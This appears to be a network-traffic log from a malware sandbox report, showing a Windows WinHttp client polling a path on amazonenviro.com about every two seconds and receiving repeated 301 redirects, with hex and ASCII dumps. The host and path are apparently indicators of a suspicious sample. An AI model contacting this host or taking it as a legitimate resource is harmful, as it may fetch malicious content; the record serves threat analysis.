Jan 14, 2025 08:24:33.138227940 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:32 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:34.761452913 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:35.071767092 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:34 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:36.721414089 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:37.031873941 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:36 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:38.674072027 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:38.984817028 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:38 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:40.635659933 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:40.946182013 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:40 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:42.569226980 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:42.879467964 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:42 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:44.521003008 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:45.715809107 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:44 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:45.716080904 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:44 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:45.716178894 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:44 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:47.317533970 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:47.627629042 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:47 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:49.255390882 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:49.572283983 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:49 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:51.216979027 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:51.527559996 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:51 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:53.148093939 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:53.458235025 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:53 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:55.102166891 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:55.412390947 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:55 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:57.076934099 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:57.387269974 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:57 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
